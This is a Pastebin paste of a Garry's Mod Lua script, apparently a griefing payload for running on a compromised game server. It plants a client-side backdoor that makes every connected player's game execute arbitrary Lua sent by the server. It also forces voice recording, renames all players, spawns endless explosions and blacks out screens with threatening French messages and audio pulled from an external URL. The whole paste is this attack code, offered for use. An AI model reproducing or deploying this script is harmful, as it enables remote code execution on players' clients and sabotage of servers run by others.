Advertisement
xSakuraYT

PIRE CAUCHEMAR

Apr 29th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.54 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37.  
  38. function lol:SendLua( pPlayer, strLua )
  39. net.Start( "skeleton_dancing_troll" )
  40. net.WriteString( strLua )
  41. net.Send( pPlayer )
  42. end
  43.  
  44. function lol:SetupPlayer( pPlayer )
  45. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  46. end
  47.  
  48.  
  49. -----START LINE CODE FOR DANSE
  50. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  51. -----STOP LINE CODE FOR DANSE
  52.  
  53. ------- STARTCODE FOR FORCE CHANGE NAME
  54. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", "SAKURA TA EZ TON SERVEUR") end
  55. ------- STOP LINE CODE FOR CHANGE NAME
  56.  
  57. ------- STOP LINE CODE FOR CHANGE NAME
  58. for k,v in pairs(player.GetAll()) do v:ConCommand("+voicerecord") end
  59. ------- STOP LINE CODE FOR CHANGE NAME
  60.  
  61. ------- ARMAGEDDON
  62. hook.Add("Think", "armageddon", function()
  63. local explode = ents.Create( "env_explosion" )
  64. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  65. explode:Spawn()
  66. explode:SetKeyValue( "iMagnitude", "500" )
  67. explode:Fire( "Explode", 0, 0 )
  68. end)
  69. ---------
  70.  
  71. --------- GIANT
  72. hook.Add("Think", "giant", function()
  73. for k,v in pairs (player.GetAll()) do
  74. v:SetModelScale(50.5, 100);
  75. v:SetRunSpeed(400 * 2);
  76. v:SetWalkSpeed(200 * 2);
  77. end
  78. end)
  79. ------------------
  80.  
  81.  
  82.  
  83. for k, v in pairs( player.GetAll() ) do
  84. lol:SetupPlayer( v )
  85. timer.Simple( 2, function() lol:Start( v ) end )
  86. end
  87.  
  88. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  89. lol:SetupPlayer( pPlayer )
  90. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  91. end )
  92.  
  93. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  94. if strText:sub( 1, 5 ) == "/1337" then
  95. pSender:Ignite( 1e9 )
  96. pSender:ChatPrint( "Nop" )
  97. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  98. return false
  99. end
  100. end )
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108. lol:PushAction( 0, function( pPlayer )
  109. lol:SendLua( pPlayer, ([[
  110.  
  111. sound.PlayURL( "https://supronrp.fr/secret/satan.mp3", "", function()end )
  112.  
  113. local time = 1
  114.  
  115. hook.Add( 'RenderScreenspaceEffects', 'loading', function()
  116.  
  117.  
  118. draw.RoundedBox( 0, 0, 0, ScrW(), ScrH(), Color( 0, 0, 0, 255 ) )
  119.  
  120. if time == 1 then
  121.  
  122. timer.Simple( 5, function() time = 2 end )
  123.  
  124. draw.SimpleTextOutlined(
  125. "Bonjour... Je suis Sakura...",
  126. "DermaLarge",
  127. ScrW() /2 +math.random( -8, 8 ),
  128. ScrH() /2 +math.random( -8, 8 ) +1,
  129. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  130. TEXT_ALIGN_CENTER,
  131. TEXT_ALIGN_CENTER,
  132. 1,
  133. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  134. )
  135.  
  136.  
  137. end
  138.  
  139. if time == 2 then
  140.  
  141. timer.Simple( 5, function() time = 3 end )
  142.  
  143. draw.SimpleTextOutlined(
  144. "Je serait ton pire cauchemard...",
  145. "DermaLarge",
  146. ScrW() /2 +math.random( -8, 8 ),
  147. ScrH() /2 +math.random( -8, 8 ) +1,
  148. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  149. TEXT_ALIGN_CENTER,
  150. TEXT_ALIGN_CENTER,
  151. 1,
  152. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  153. )
  154. end
  155.  
  156. if time == 3 then
  157.  
  158. timer.Simple( 5, function() time = 4 end )
  159.  
  160. draw.SimpleTextOutlined(
  161. "Je vient ici pour faucher la vie de ce serveur...",
  162. "DermaLarge",
  163. ScrW() /2 +math.random( -8, 8 ),
  164. ScrH() /2 +math.random( -8, 8 ) +1,
  165. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  166. TEXT_ALIGN_CENTER,
  167. TEXT_ALIGN_CENTER,
  168. 1,
  169. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  170. )
  171. end
  172.  
  173. if time == 4 then
  174.  
  175. timer.Simple( 5, function() time = 5 end )
  176.  
  177. draw.SimpleTextOutlined(
  178. "La ou il disparaitera... en ENFER...",
  179. "DermaLarge",
  180. ScrW() /2 +math.random( -8, 8 ),
  181. ScrH() /2 +math.random( -8, 8 ) +1,
  182. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  183. TEXT_ALIGN_CENTER,
  184. TEXT_ALIGN_CENTER,
  185. 1,
  186. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  187. )
  188. end
  189.  
  190. if time == 5 then
  191.  
  192. timer.Simple( 5, function() time = 6 end )
  193.  
  194. draw.SimpleTextOutlined(
  195. "A bientôt... En ENFER...",
  196. "DermaLarge",
  197. ScrW() /2 +math.random( -8, 8 ),
  198. ScrH() /2 +math.random( -8, 8 ) +1,
  199. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  200. TEXT_ALIGN_CENTER,
  201. TEXT_ALIGN_CENTER,
  202. 1,
  203. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  204. )
  205. end
  206.  
  207.  
  208.  
  209. if time == 6 then
  210.  
  211. timer.Simple( 5, function() time = 6 end )
  212.  
  213. draw.SimpleTextOutlined(
  214. "Mhouaaaaa....",
  215. "DermaLarge",
  216. ScrW() /2 +math.random( -8, 8 ),
  217. ScrH() /2 +math.random( -8, 8 ) +1,
  218. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  219. TEXT_ALIGN_CENTER,
  220. TEXT_ALIGN_CENTER,
  221. 1,
  222. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  223. )
  224. end
  225.  
  226.  
  227.  
  228.  
  229. end)
  230.  
  231. ]]))
  232. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement